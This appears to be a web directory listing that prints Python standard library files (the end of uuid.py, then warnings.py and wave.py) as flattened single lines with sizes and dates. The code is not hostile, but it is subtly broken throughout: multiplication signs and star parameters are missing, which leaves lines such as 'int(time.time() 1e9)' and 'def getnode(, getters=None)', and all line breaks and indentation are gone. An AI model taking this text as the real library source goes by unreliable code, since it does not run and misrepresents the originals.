netbios.ADAPTER_STATUS() if win32wnet.Netbios(ncb) != 0: continue status._unpack() bytes = status.adapter_address[:6] if len(bytes) != 6: continue mac = int.from_bytes(bytes, 'big') if _is_universal(mac): return mac first_local_mac = first_local_mac or mac return first_local_mac or None _generate_time_safe = _UuidCreate = None _has_uuid_generate_time_safe = None # Import optional C extension at toplevel, to help disabling it when testing try: import _uuid except ImportError: _uuid = None def _load_system_functions(): """ Try to load platform-specific functions for generating uuids. """ global _generate_time_safe, _UuidCreate, _has_uuid_generate_time_safe if _has_uuid_generate_time_safe is not None: return _has_uuid_generate_time_safe = False if sys.platform == "darwin" and int(os.uname().release.split('.')[0]) < 9: # The uuid_generate_ functions are broken on MacOS X 10.5, as noted # in issue #8621 the function generates the same sequence of values # in the parent process and all children created using fork (unless # those children use exec as well). # # Assume that the uuid_generate functions are broken from 10.5 onward, # the test can be adjusted when a later version is fixed. pass elif _uuid is not None: _generate_time_safe = _uuid.generate_time_safe _has_uuid_generate_time_safe = _uuid.has_uuid_generate_time_safe return try: # If we couldn't find an extension module, try ctypes to find # system routines for UUID generation. # Thanks to Thomas Heller for ctypes and for his help with its use here. import ctypes import ctypes.util # The uuid_generate_* routines are provided by libuuid on at least # Linux and FreeBSD, and provided by libc on Mac OS X. _libnames = ['uuid'] if not sys.platform.startswith('win'): _libnames.append('c') for libname in _libnames: try: lib = ctypes.CDLL(ctypes.util.find_library(libname)) except Exception: # pragma: nocover continue # Try to find the safe variety first. if hasattr(lib, 'uuid_generate_time_safe'): _uuid_generate_time_safe = lib.uuid_generate_time_safe # int uuid_generate_time_safe(uuid_t out); def _generate_time_safe(): _buffer = ctypes.create_string_buffer(16) res = _uuid_generate_time_safe(_buffer) return bytes(_buffer.raw), res _has_uuid_generate_time_safe = True break elif hasattr(lib, 'uuid_generate_time'): # pragma: nocover _uuid_generate_time = lib.uuid_generate_time # void uuid_generate_time(uuid_t out); _uuid_generate_time.restype = None def _generate_time_safe(): _buffer = ctypes.create_string_buffer(16) _uuid_generate_time(_buffer) return bytes(_buffer.raw), None break # On Windows prior to 2000, UuidCreate gives a UUID containing the # hardware address. On Windows 2000 and later, UuidCreate makes a # random UUID and UuidCreateSequential gives a UUID containing the # hardware address. These routines are provided by the RPC runtime. # NOTE: at least on Tim's WinXP Pro SP2 desktop box, while the last # 6 bytes returned by UuidCreateSequential are fixed, they don't appear # to bear any relationship to the MAC address of any network device # on the box. try: lib = ctypes.windll.rpcrt4 except: lib = None _UuidCreate = getattr(lib, 'UuidCreateSequential', getattr(lib, 'UuidCreate', None)) except Exception as exc: import warnings warnings.warn(f"Could not find fallback ctypes uuid functions: {exc}", ImportWarning) def _unix_getnode(): """Get the hardware address on Unix using the _uuid extension module or ctypes.""" _load_system_functions() uuid_time, _ = _generate_time_safe() return UUID(bytes=uuid_time).node def _windll_getnode(): """Get the hardware address on Windows using ctypes.""" import ctypes _load_system_functions() _buffer = ctypes.create_string_buffer(16) if _UuidCreate(_buffer) == 0: return UUID(bytes=bytes_(_buffer.raw)).node def _random_getnode(): """Get a random node ID.""" # RFC 4122, $4.1.6 says "For systems with no IEEE address, a randomly or # pseudo-randomly generated value may be used; see Section 4.5. The # multicast bit must be set in such addresses, in order that they will # never conflict with addresses obtained from network cards." # # The "multicast bit" of a MAC address is defined to be "the least # significant bit of the first octet". This works out to be the 41st bit # counting from 1 being the least significant bit, or 1<<40. # # See https://en.wikipedia.org/wiki/MAC_address#Unicast_vs._multicast import random return random.getrandbits(48) \| (1 << 40) _node = None _NODE_GETTERS_WIN32 = [_windll_getnode, _netbios_getnode, _ipconfig_getnode] _NODE_GETTERS_UNIX = [_unix_getnode, _ifconfig_getnode, _ip_getnode, _arp_getnode, _lanscan_getnode, _netstat_getnode] def getnode(, getters=None): """Get the hardware address as a 48-bit positive integer. The first time this runs, it may launch a separate program, which could be quite slow. If all attempts to obtain the hardware address fail, we choose a random 48-bit number with its eighth bit set to 1 as recommended in RFC 4122. """ global _node if _node is not None: return _node if sys.platform == 'win32': getters = _NODE_GETTERS_WIN32 else: getters = _NODE_GETTERS_UNIX for getter in getters + [_random_getnode]: try: _node = getter() except: continue if (_node is not None) and (0 <= _node < (1 << 48)): return _node assert False, '_random_getnode() returned invalid value: {}'.format(_node) _last_timestamp = None def uuid1(node=None, clock_seq=None): """Generate a UUID from a host ID, sequence number, and the current time. If 'node' is not given, getnode() is used to obtain the hardware address. If 'clock_seq' is given, it is used as the sequence number; otherwise a random 14-bit sequence number is chosen.""" # When the system provides a version-1 UUID generator, use it (but don't # use UuidCreate here because its UUIDs don't conform to RFC 4122). _load_system_functions() if _generate_time_safe is not None and node is clock_seq is None: uuid_time, safely_generated = _generate_time_safe() try: is_safe = SafeUUID(safely_generated) except ValueError: is_safe = SafeUUID.unknown return UUID(bytes=uuid_time, is_safe=is_safe) global _last_timestamp import time nanoseconds = int(time.time() 1e9) # 0x01b21dd213814000 is the number of 100-ns intervals between the # UUID epoch 1582-10-15 00:00:00 and the Unix epoch 1970-01-01 00:00:00. timestamp = int(nanoseconds/100) + 0x01b21dd213814000 if _last_timestamp is not None and timestamp <= _last_timestamp: timestamp = _last_timestamp + 1 _last_timestamp = timestamp if clock_seq is None: import random clock_seq = random.getrandbits(14) # instead of stable storage time_low = timestamp & 0xffffffff time_mid = (timestamp >> 32) & 0xffff time_hi_version = (timestamp >> 48) & 0x0fff clock_seq_low = clock_seq & 0xff clock_seq_hi_variant = (clock_seq >> 8) & 0x3f if node is None: node = getnode() return UUID(fields=(time_low, time_mid, time_hi_version, clock_seq_hi_variant, clock_seq_low, node), version=1) def uuid3(namespace, name): """Generate a UUID from the MD5 hash of a namespace UUID and a name.""" from hashlib import md5 hash = md5(namespace.bytes + bytes(name, "utf-8")).digest() return UUID(bytes=hash[:16], version=3) def uuid4(): """Generate a random UUID.""" return UUID(bytes=os.urandom(16), version=4) def uuid5(namespace, name): """Generate a UUID from the SHA-1 hash of a namespace UUID and a name.""" from hashlib import sha1 hash = sha1(namespace.bytes + bytes(name, "utf-8")).digest() return UUID(bytes=hash[:16], version=5) # The following standard UUIDs are for use with uuid3() or uuid5(). NAMESPACE_DNS = UUID('6ba7b810-9dad-11d1-80b4-00c04fd430c8') NAMESPACE_URL = UUID('6ba7b811-9dad-11d1-80b4-00c04fd430c8') NAMESPACE_OID = UUID('6ba7b812-9dad-11d1-80b4-00c04fd430c8') NAMESPACE_X500 = UUID('6ba7b814-9dad-11d1-80b4-00c04fd430c8')	28.83 KB	2024-04-17 17:55
📁 venv	-	2025-10-13 08:00
📄 warnings.py """Python part of the warnings subsystem.""" import sys __all__ = ["warn", "warn_explicit", "showwarning", "formatwarning", "filterwarnings", "simplefilter", "resetwarnings", "catch_warnings"] def showwarning(message, category, filename, lineno, file=None, line=None): """Hook to write a warning to a file; replace if you like.""" msg = WarningMessage(message, category, filename, lineno, file, line) _showwarnmsg_impl(msg) def formatwarning(message, category, filename, lineno, line=None): """Function to format a warning the standard way.""" msg = WarningMessage(message, category, filename, lineno, None, line) return _formatwarnmsg_impl(msg) def _showwarnmsg_impl(msg): file = msg.file if file is None: file = sys.stderr if file is None: # sys.stderr is None when run with pythonw.exe: # warnings get lost return text = _formatwarnmsg(msg) try: file.write(text) except OSError: # the file (probably stderr) is invalid - this warning gets lost. pass def _formatwarnmsg_impl(msg): category = msg.category.__name__ s = f"{msg.filename}:{msg.lineno}: {category}: {msg.message}\n" if msg.line is None: try: import linecache line = linecache.getline(msg.filename, msg.lineno) except Exception: # When a warning is logged during Python shutdown, linecache # and the import machinery don't work anymore line = None linecache = None else: line = msg.line if line: line = line.strip() s += " %s\n" % line if msg.source is not None: try: import tracemalloc # Logging a warning should not raise a new exception: # catch Exception, not only ImportError and RecursionError. except Exception: # don't suggest to enable tracemalloc if it's not available tracing = True tb = None else: tracing = tracemalloc.is_tracing() try: tb = tracemalloc.get_object_traceback(msg.source) except Exception: # When a warning is logged during Python shutdown, tracemalloc # and the import machinery don't work anymore tb = None if tb is not None: s += 'Object allocated at (most recent call last):\n' for frame in tb: s += (' File "%s", lineno %s\n' % (frame.filename, frame.lineno)) try: if linecache is not None: line = linecache.getline(frame.filename, frame.lineno) else: line = None except Exception: line = None if line: line = line.strip() s += ' %s\n' % line elif not tracing: s += (f'{category}: Enable tracemalloc to get the object ' f'allocation traceback\n') return s # Keep a reference to check if the function was replaced _showwarning_orig = showwarning def _showwarnmsg(msg): """Hook to write a warning to a file; replace if you like.""" try: sw = showwarning except NameError: pass else: if sw is not _showwarning_orig: # warnings.showwarning() was replaced if not callable(sw): raise TypeError("warnings.showwarning() must be set to a " "function or method") sw(msg.message, msg.category, msg.filename, msg.lineno, msg.file, msg.line) return _showwarnmsg_impl(msg) # Keep a reference to check if the function was replaced _formatwarning_orig = formatwarning def _formatwarnmsg(msg): """Function to format a warning the standard way.""" try: fw = formatwarning except NameError: pass else: if fw is not _formatwarning_orig: # warnings.formatwarning() was replaced return fw(msg.message, msg.category, msg.filename, msg.lineno, msg.line) return _formatwarnmsg_impl(msg) def filterwarnings(action, message="", category=Warning, module="", lineno=0, append=False): """Insert an entry into the list of warnings filters (at the front). 'action' -- one of "error", "ignore", "always", "default", "module", or "once" 'message' -- a regex that the warning message must match 'category' -- a class that the warning must be a subclass of 'module' -- a regex that the module name must match 'lineno' -- an integer line number, 0 matches all warnings 'append' -- if true, append to the list of filters """ assert action in ("error", "ignore", "always", "default", "module", "once"), "invalid action: %r" % (action,) assert isinstance(message, str), "message must be a string" assert isinstance(category, type), "category must be a class" assert issubclass(category, Warning), "category must be a Warning subclass" assert isinstance(module, str), "module must be a string" assert isinstance(lineno, int) and lineno >= 0, \ "lineno must be an int >= 0" if message or module: import re if message: message = re.compile(message, re.I) else: message = None if module: module = re.compile(module) else: module = None _add_filter(action, message, category, module, lineno, append=append) def simplefilter(action, category=Warning, lineno=0, append=False): """Insert a simple entry into the list of warnings filters (at the front). A simple filter matches all modules and messages. 'action' -- one of "error", "ignore", "always", "default", "module", or "once" 'category' -- a class that the warning must be a subclass of 'lineno' -- an integer line number, 0 matches all warnings 'append' -- if true, append to the list of filters """ assert action in ("error", "ignore", "always", "default", "module", "once"), "invalid action: %r" % (action,) assert isinstance(lineno, int) and lineno >= 0, \ "lineno must be an int >= 0" _add_filter(action, None, category, None, lineno, append=append) def _add_filter(item, append): # Remove possible duplicate filters, so new one will be placed # in correct place. If append=True and duplicate exists, do nothing. if not append: try: filters.remove(item) except ValueError: pass filters.insert(0, item) else: if item not in filters: filters.append(item) _filters_mutated() def resetwarnings(): """Clear the list of warning filters, so that no filters are active.""" filters[:] = [] _filters_mutated() class _OptionError(Exception): """Exception used by option processing helpers.""" pass # Helper to process -W options passed via sys.warnoptions def _processoptions(args): for arg in args: try: _setoption(arg) except _OptionError as msg: print("Invalid -W option ignored:", msg, file=sys.stderr) # Helper for _processoptions() def _setoption(arg): parts = arg.split(':') if len(parts) > 5: raise _OptionError("too many fields (max 5): %r" % (arg,)) while len(parts) < 5: parts.append('') action, message, category, module, lineno = [s.strip() for s in parts] action = _getaction(action) category = _getcategory(category) if message or module: import re if message: message = re.escape(message) if module: module = re.escape(module) + r'\Z' if lineno: try: lineno = int(lineno) if lineno < 0: raise ValueError except (ValueError, OverflowError): raise _OptionError("invalid lineno %r" % (lineno,)) from None else: lineno = 0 filterwarnings(action, message, category, module, lineno) # Helper for _setoption() def _getaction(action): if not action: return "default" if action == "all": return "always" # Alias for a in ('default', 'always', 'ignore', 'module', 'once', 'error'): if a.startswith(action): return a raise _OptionError("invalid action: %r" % (action,)) # Helper for _setoption() def _getcategory(category): if not category: return Warning if '.' not in category: import builtins as m klass = category else: module, _, klass = category.rpartition('.') try: m = __import__(module, None, None, [klass]) except ImportError: raise _OptionError("invalid module name: %r" % (module,)) from None try: cat = getattr(m, klass) except AttributeError: raise _OptionError("unknown warning category: %r" % (category,)) from None if not issubclass(cat, Warning): raise _OptionError("invalid warning category: %r" % (category,)) return cat def _is_internal_frame(frame): """Signal whether the frame is an internal CPython implementation detail.""" filename = frame.f_code.co_filename return 'importlib' in filename and '_bootstrap' in filename def _next_external_frame(frame): """Find the next frame that doesn't involve CPython internals.""" frame = frame.f_back while frame is not None and _is_internal_frame(frame): frame = frame.f_back return frame # Code typically replaced by _warnings def warn(message, category=None, stacklevel=1, source=None): """Issue a warning, or maybe ignore it or raise an exception.""" # Check if message is already a Warning object if isinstance(message, Warning): category = message.__class__ # Check category argument if category is None: category = UserWarning if not (isinstance(category, type) and issubclass(category, Warning)): raise TypeError("category must be a Warning subclass, " "not '{:s}'".format(type(category).__name__)) # Get context information try: if stacklevel <= 1 or _is_internal_frame(sys._getframe(1)): # If frame is too small to care or if the warning originated in # internal code, then do not try to hide any frames. frame = sys._getframe(stacklevel) else: frame = sys._getframe(1) # Look for one frame less since the above line starts us off. for x in range(stacklevel-1): frame = _next_external_frame(frame) if frame is None: raise ValueError except ValueError: globals = sys.__dict__ lineno = 1 else: globals = frame.f_globals lineno = frame.f_lineno if '__name__' in globals: module = globals['__name__'] else: module = "<string>" filename = globals.get('__file__') if filename: fnl = filename.lower() if fnl.endswith(".pyc"): filename = filename[:-1] else: if module == "__main__": try: filename = sys.argv[0] except AttributeError: # embedded interpreters don't have sys.argv, see bug #839151 filename = '__main__' if not filename: filename = module registry = globals.setdefault("__warningregistry__", {}) warn_explicit(message, category, filename, lineno, module, registry, globals, source) def warn_explicit(message, category, filename, lineno, module=None, registry=None, module_globals=None, source=None): lineno = int(lineno) if module is None: module = filename or "<unknown>" if module[-3:].lower() == ".py": module = module[:-3] # XXX What about leading pathname? if registry is None: registry = {} if registry.get('version', 0) != _filters_version: registry.clear() registry['version'] = _filters_version if isinstance(message, Warning): text = str(message) category = message.__class__ else: text = message message = category(message) key = (text, category, lineno) # Quick test for common case if registry.get(key): return # Search the filters for item in filters: action, msg, cat, mod, ln = item if ((msg is None or msg.match(text)) and issubclass(category, cat) and (mod is None or mod.match(module)) and (ln == 0 or lineno == ln)): break else: action = defaultaction # Early exit actions if action == "ignore": return # Prime the linecache for formatting, in case the # "file" is actually in a zipfile or something. import linecache linecache.getlines(filename, module_globals) if action == "error": raise message # Other actions if action == "once": registry[key] = 1 oncekey = (text, category) if onceregistry.get(oncekey): return onceregistry[oncekey] = 1 elif action == "always": pass elif action == "module": registry[key] = 1 altkey = (text, category, 0) if registry.get(altkey): return registry[altkey] = 1 elif action == "default": registry[key] = 1 else: # Unrecognized actions are errors raise RuntimeError( "Unrecognized action (%r) in warnings.filters:\n %s" % (action, item)) # Print message and context msg = WarningMessage(message, category, filename, lineno, source) _showwarnmsg(msg) class WarningMessage(object): _WARNING_DETAILS = ("message", "category", "filename", "lineno", "file", "line", "source") def __init__(self, message, category, filename, lineno, file=None, line=None, source=None): self.message = message self.category = category self.filename = filename self.lineno = lineno self.file = file self.line = line self.source = source self._category_name = category.__name__ if category else None def __str__(self): return ("{message : %r, category : %r, filename : %r, lineno : %s, " "line : %r}" % (self.message, self._category_name, self.filename, self.lineno, self.line)) class catch_warnings(object): """A context manager that copies and restores the warnings filter upon exiting the context. The 'record' argument specifies whether warnings should be captured by a custom implementation of warnings.showwarning() and be appended to a list returned by the context manager. Otherwise None is returned by the context manager. The objects appended to the list are arguments whose attributes mirror the arguments to showwarning(). The 'module' argument is to specify an alternative module to the module named 'warnings' and imported under that name. This argument is only useful when testing the warnings module itself. """ def __init__(self, , record=False, module=None): """Specify whether to record warnings and if an alternative module should be used other than sys.modules['warnings']. For compatibility with Python 3.0, please consider all arguments to be keyword-only. """ self._record = record self._module = sys.modules['warnings'] if module is None else module self._entered = False def __repr__(self): args = [] if self._record: args.append("record=True") if self._module is not sys.modules['warnings']: args.append("module=%r" % self._module) name = type(self).__name__ return "%s(%s)" % (name, ", ".join(args)) def __enter__(self): if self._entered: raise RuntimeError("Cannot enter %r twice" % self) self._entered = True self._filters = self._module.filters self._module.filters = self._filters[:] self._module._filters_mutated() self._showwarning = self._module.showwarning self._showwarnmsg_impl = self._module._showwarnmsg_impl if self._record: log = [] self._module._showwarnmsg_impl = log.append # Reset showwarning() to the default implementation to make sure # that _showwarnmsg() calls _showwarnmsg_impl() self._module.showwarning = self._module._showwarning_orig return log else: return None def __exit__(self, exc_info): if not self._entered: raise RuntimeError("Cannot exit %r without entering first" % self) self._module.filters = self._filters self._module._filters_mutated() self._module.showwarning = self._showwarning self._module._showwarnmsg_impl = self._showwarnmsg_impl # Private utility function called by _PyErr_WarnUnawaitedCoroutine def _warn_unawaited_coroutine(coro): msg_lines = [ f"coroutine '{coro.__qualname__}' was never awaited\n" ] if coro.cr_origin is not None: import linecache, traceback def extract(): for filename, lineno, funcname in reversed(coro.cr_origin): line = linecache.getline(filename, lineno) yield (filename, lineno, funcname, line) msg_lines.append("Coroutine created at (most recent call last)\n") msg_lines += traceback.format_list(list(extract())) msg = "".join(msg_lines).rstrip("\n") # Passing source= here means that if the user happens to have tracemalloc # enabled and tracking where the coroutine was created, the warning will # contain that traceback. This does mean that if they have both* # coroutine origin tracking and tracemalloc enabled, they'll get two # partially-redundant tracebacks. If we wanted to be clever we could # probably detect this case and avoid it, but for now we don't bother. warn(msg, category=RuntimeWarning, stacklevel=2, source=coro) # filters contains a sequence of filter 5-tuples # The components of the 5-tuple are: # - an action: error, ignore, always, default, module, or once # - a compiled regex that must match the warning message # - a class representing the warning category # - a compiled regex that must match the module that is being warned # - a line number for the line being warning, or 0 to mean any line # If either if the compiled regexs are None, match anything. try: from _warnings import (filters, _defaultaction, _onceregistry, warn, warn_explicit, _filters_mutated) defaultaction = _defaultaction onceregistry = _onceregistry _warnings_defaults = True except ImportError: filters = [] defaultaction = "default" onceregistry = {} _filters_version = 1 def _filters_mutated(): global _filters_version _filters_version += 1 _warnings_defaults = False # Module initialization _processoptions(sys.warnoptions) if not _warnings_defaults: # Several warning categories are ignored by default in regular builds if not hasattr(sys, 'gettotalrefcount'): filterwarnings("default", category=DeprecationWarning, module="__main__", append=1) simplefilter("ignore", category=DeprecationWarning, append=1) simplefilter("ignore", category=PendingDeprecationWarning, append=1) simplefilter("ignore", category=ImportWarning, append=1) simplefilter("ignore", category=ResourceWarning, append=1) del _warnings_defaults	19.61 KB	2024-04-17 17:55
📄 wave.py """Stuff to parse WAVE files. Usage. Reading WAVE files: f = wave.open(file, 'r') where file is either the name of a file or an open file pointer. The open file pointer must have methods read(), seek(), and close(). When the setpos() and rewind() methods are not used, the seek() method is not necessary. This returns an instance of a class with the following public methods: getnchannels() -- returns number of audio channels (1 for mono, 2 for stereo) getsampwidth() -- returns sample width in bytes getframerate() -- returns sampling frequency getnframes() -- returns number of audio frames getcomptype() -- returns compression type ('NONE' for linear samples) getcompname() -- returns human-readable version of compression type ('not compressed' linear samples) getparams() -- returns a namedtuple consisting of all of the above in the above order getmarkers() -- returns None (for compatibility with the aifc module) getmark(id) -- raises an error since the mark does not exist (for compatibility with the aifc module) readframes(n) -- returns at most n frames of audio rewind() -- rewind to the beginning of the audio stream setpos(pos) -- seek to the specified position tell() -- return the current position close() -- close the instance (make it unusable) The position returned by tell() and the position given to setpos() are compatible and have nothing to do with the actual position in the file. The close() method is called automatically when the class instance is destroyed. Writing WAVE files: f = wave.open(file, 'w') where file is either the name of a file or an open file pointer. The open file pointer must have methods write(), tell(), seek(), and close(). This returns an instance of a class with the following public methods: setnchannels(n) -- set the number of channels setsampwidth(n) -- set the sample width setframerate(n) -- set the frame rate setnframes(n) -- set the number of frames setcomptype(type, name) -- set the compression type and the human-readable compression type setparams(tuple) -- set all parameters at once tell() -- return current position in output file writeframesraw(data) -- write audio frames without patching up the file header writeframes(data) -- write audio frames and patch up the file header close() -- patch up the file header and close the output file You should set the parameters before the first writeframesraw or writeframes. The total number of frames does not need to be set, but when it is set to the correct value, the header does not have to be patched up. It is best to first set all parameters, perhaps possibly the compression type, and then write audio frames using writeframesraw. When all frames have been written, either call writeframes(b'') or close() to patch up the sizes in the header. The close() method is called automatically when the class instance is destroyed. """ import builtins __all__ = ["open", "openfp", "Error", "Wave_read", "Wave_write"] class Error(Exception): pass WAVE_FORMAT_PCM = 0x0001 _array_fmts = None, 'b', 'h', None, 'i' import audioop import struct import sys from chunk import Chunk from collections import namedtuple import warnings _wave_params = namedtuple('_wave_params', 'nchannels sampwidth framerate nframes comptype compname') class Wave_read: """Variables used in this class: These variables are available to the user though appropriate methods of this class: _file -- the open file with methods read(), close(), and seek() set through the __init__() method _nchannels -- the number of audio channels available through the getnchannels() method _nframes -- the number of audio frames available through the getnframes() method _sampwidth -- the number of bytes per audio sample available through the getsampwidth() method _framerate -- the sampling frequency available through the getframerate() method _comptype -- the AIFF-C compression type ('NONE' if AIFF) available through the getcomptype() method _compname -- the human-readable AIFF-C compression type available through the getcomptype() method _soundpos -- the position in the audio stream available through the tell() method, set through the setpos() method These variables are used internally only: _fmt_chunk_read -- 1 iff the FMT chunk has been read _data_seek_needed -- 1 iff positioned correctly in audio file for readframes() _data_chunk -- instantiation of a chunk class for the DATA chunk _framesize -- size of one frame in the file """ def initfp(self, file): self._convert = None self._soundpos = 0 self._file = Chunk(file, bigendian = 0) if self._file.getname() != b'RIFF': raise Error('file does not start with RIFF id') if self._file.read(4) != b'WAVE': raise Error('not a WAVE file') self._fmt_chunk_read = 0 self._data_chunk = None while 1: self._data_seek_needed = 1 try: chunk = Chunk(self._file, bigendian = 0) except EOFError: break chunkname = chunk.getname() if chunkname == b'fmt ': self._read_fmt_chunk(chunk) self._fmt_chunk_read = 1 elif chunkname == b'data': if not self._fmt_chunk_read: raise Error('data chunk before fmt chunk') self._data_chunk = chunk self._nframes = chunk.chunksize // self._framesize self._data_seek_needed = 0 break chunk.skip() if not self._fmt_chunk_read or not self._data_chunk: raise Error('fmt chunk and/or data chunk missing') def __init__(self, f): self._i_opened_the_file = None if isinstance(f, str): f = builtins.open(f, 'rb') self._i_opened_the_file = f # else, assume it is an open file object already try: self.initfp(f) except: if self._i_opened_the_file: f.close() raise def __del__(self): self.close() def __enter__(self): return self def __exit__(self, args): self.close() # # User visible methods. # def getfp(self): return self._file def rewind(self): self._data_seek_needed = 1 self._soundpos = 0 def close(self): self._file = None file = self._i_opened_the_file if file: self._i_opened_the_file = None file.close() def tell(self): return self._soundpos def getnchannels(self): return self._nchannels def getnframes(self): return self._nframes def getsampwidth(self): return self._sampwidth def getframerate(self): return self._framerate def getcomptype(self): return self._comptype def getcompname(self): return self._compname def getparams(self): return _wave_params(self.getnchannels(), self.getsampwidth(), self.getframerate(), self.getnframes(), self.getcomptype(), self.getcompname()) def getmarkers(self): return None def getmark(self, id): raise Error('no marks') def setpos(self, pos): if pos < 0 or pos > self._nframes: raise Error('position not in range') self._soundpos = pos self._data_seek_needed = 1 def readframes(self, nframes): if self._data_seek_needed: self._data_chunk.seek(0, 0) pos = self._soundpos self._framesize if pos: self._data_chunk.seek(pos, 0) self._data_seek_needed = 0 if nframes == 0: return b'' data = self._data_chunk.read(nframes * self._framesize) if self._sampwidth != 1 and sys.byteorder == 'big': data = audioop.byteswap(data, self._sampwidth) if self._convert and data: data = self._convert(data) self._soundpos = self._soundpos + len(data) // (self._nchannels * self._sampwidth) return data # # Internal methods. # def _read_fmt_chunk(self, chunk): try: wFormatTag, self._nchannels, self._framerate, dwAvgBytesPerSec, wBlockAlign = struct.unpack_from('<HHLLH', chunk.read(14)) except struct.error: raise EOFError from None if wFormatTag == WAVE_FORMAT_PCM: try: sampwidth = struct.unpack_from('<H', chunk.read(2))[0] except struct.error: raise EOFError from None self._sampwidth = (sampwidth + 7) // 8 if not self._sampwidth: raise Error('bad sample width') else: raise Error('unknown format: %r' % (wFormatTag,)) if not self._nchannels: raise Error('bad # of channels') self._framesize = self._nchannels * self._sampwidth self._comptype = 'NONE' self._compname = 'not compressed' class Wave_write: """Variables used in this class: These variables are user settable through appropriate methods of this class: _file -- the open file with methods write(), close(), tell(), seek() set through the __init__() method _comptype -- the AIFF-C compression type ('NONE' in AIFF) set through the setcomptype() or setparams() method _compname -- the human-readable AIFF-C compression type set through the setcomptype() or setparams() method _nchannels -- the number of audio channels set through the setnchannels() or setparams() method _sampwidth -- the number of bytes per audio sample set through the setsampwidth() or setparams() method _framerate -- the sampling frequency set through the setframerate() or setparams() method _nframes -- the number of audio frames written to the header set through the setnframes() or setparams() method These variables are used internally only: _datalength -- the size of the audio samples written to the header _nframeswritten -- the number of frames actually written _datawritten -- the size of the audio samples actually written """ def __init__(self, f): self._i_opened_the_file = None if isinstance(f, str): f = builtins.open(f, 'wb') self._i_opened_the_file = f try: self.initfp(f) except: if self._i_opened_the_file: f.close() raise def initfp(self, file): self._file = file self._convert = None self._nchannels = 0 self._sampwidth = 0 self._framerate = 0 self._nframes = 0 self._nframeswritten = 0 self._datawritten = 0 self._datalength = 0 self._headerwritten = False def __del__(self): self.close() def __enter__(self): return self def __exit__(self, args): self.close() # # User visible methods. # def setnchannels(self, nchannels): if self._datawritten: raise Error('cannot change parameters after starting to write') if nchannels < 1: raise Error('bad # of channels') self._nchannels = nchannels def getnchannels(self): if not self._nchannels: raise Error('number of channels not set') return self._nchannels def setsampwidth(self, sampwidth): if self._datawritten: raise Error('cannot change parameters after starting to write') if sampwidth < 1 or sampwidth > 4: raise Error('bad sample width') self._sampwidth = sampwidth def getsampwidth(self): if not self._sampwidth: raise Error('sample width not set') return self._sampwidth def setframerate(self, framerate): if self._datawritten: raise Error('cannot change parameters after starting to write') if framerate <= 0: raise Error('bad frame rate') self._framerate = int(round(framerate)) def getframerate(self): if not self._framerate: raise Error('frame rate not set') return self._framerate def setnframes(self, nframes): if self._datawritten: raise Error('cannot change parameters after starting to write') self._nframes = nframes def getnframes(self): return self._nframeswritten def setcomptype(self, comptype, compname): if self._datawritten: raise Error('cannot change parameters after starting to write') if comptype not in ('NONE',): raise Error('unsupported compression type') self._comptype = comptype self._compname = compname def getcomptype(self): return self._comptype def getcompname(self): return self._compname def setparams(self, params): nchannels, sampwidth, framerate, nframes, comptype, compname = params if self._datawritten: raise Error('cannot change parameters after starting to write') self.setnchannels(nchannels) self.setsampwidth(sampwidth) self.setframerate(framerate) self.setnframes(nframes) self.setcomptype(comptype, compname) def getparams(self): if not self._nchannels or not self._sampwidth or not self._framerate: raise Error('not all parameters set') return _wave_params(self._nchannels, self._sampwidth, self._framerate, self._nframes, self._comptype, self._compname) def setmark(self, id, pos, name): raise Error('setmark() not supported') def getmark(self, id): raise Error('no marks') def getmarkers(self): return None def tell(self): return self._nframeswritten def writeframesraw(self, data): if not isinstance(data, (bytes, bytearray)): data = memoryview(data).cast('B') self._ensure_header_written(len(data)) nframes = len(data) // (self._sampwidth self._nchannels) if self._convert: data = self._convert(data) if self._sampwidth != 1 and sys.byteorder == 'big': data = audioop.byteswap(data, self._sampwidth) self._file.write(data) self._datawritten += len(data) self._nframeswritten = self._nframeswritten + nframes def writeframes(self, data): self.writeframesraw(data) if self._datalength != self._datawritten: self._patchheader() def close(self): try: if self._file: self._ensure_header_written(0) if self._datalength != self._datawritten: self._patchheader() self._file.flush() finally: self._file = None file = self._i_opened_the_file if file: self._i_opened_the_file = None file.close() # # Internal methods. # def _ensure_header_written(self, datasize): if not self._headerwritten: if not self._nchannels: raise Error('# channels not specified') if not self._sampwidth: raise Error('sample width not specified') if not self._framerate: raise Error('sampling rate not specified') self._write_header(datasize) def _write_header(self, initlength): assert not self._headerwritten self._file.write(b'RIFF') if not self._nframes: self._nframes = initlength // (self._nchannels * self._sampwidth) self._datalength = self._nframes * self._nchannels * self._sampwidth try: self._form_length_pos = self._file.tell() except (AttributeError, OSError): self._form_length_pos = None self._file.write(struct.pack('<L4s4sLHHLLHH4s', 36 + self._datalength, b'WAVE', b'fmt ', 16, WAVE_FORMAT_PCM, self._nchannels, self._framerate, self._nchannels * self._framerate * self._sampwidth, self._nchannels * self._sampwidth, self._sampwidth * 8, b'data')) if self._form_length_pos is not None: self._data_length_pos = self._file.tell() self._file.write(struct.pack('<L', self._datalength)) self._headerwritten = True def _patchheader(self): assert self._headerwritten if self._datawritten == self._datalength: return curpos = self._file.tell() self._file.seek(self._form_length_pos, 0) self._file.write(struct.pack('<L', 36 + self._datawritten)) self._file.seek(self._data_length_pos, 0) self._file.write(struct.pack('<L', self._datawritten)) self._file.seek(curpos, 0) self._datalength = self._datawritten def open(f, mode=None): if mode is None: if hasattr(f, 'mode'): mode = f.mode else: mode = 'rb' if mode in ('r', 'rb'): return Wave_read(f) elif mode in ('w', 'wb'): return Wave_write(f) else: raise Error("mode must be 'r', 'rb', 'w', or 'wb'") def openfp(f, mode=None): warnings.warn("wave.openfp is deprecated since Python 3.7. " "Use wave.open instead.", DeprecationWarning, stacklevel=2) return open(f, mode=mode)	17.8 KB	2024-04-17 17:55
